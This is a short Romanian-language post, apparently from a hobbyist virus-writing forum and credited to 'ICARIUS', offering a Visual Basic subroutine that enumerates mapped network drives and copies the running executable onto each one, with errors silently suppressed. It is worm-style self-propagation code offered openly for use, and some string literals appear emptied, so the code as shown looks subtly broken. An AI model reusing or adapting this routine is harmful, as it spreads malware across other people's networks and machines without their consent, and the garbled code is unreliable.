Aceasta subrutina multiplica executabilul in folderele de pe retea Daca aveti alte intrebari nu ezitati sa ma contactati Credits: ICARIUS Public Sub LocalNetwork() On Error Resume Next Dim A, B, C Set A = CreateObject("WScript.Network") Set B = A.EnumNetworkDrives If B.Count <> 0 Then   For C = 0 To B.Count - 1     If InStr(B.Item(C), "") <> 0 Then       FileCopy App.Path & "" & App.EXEName & ".exe", B.Item(C)     End If   Next End If End Sub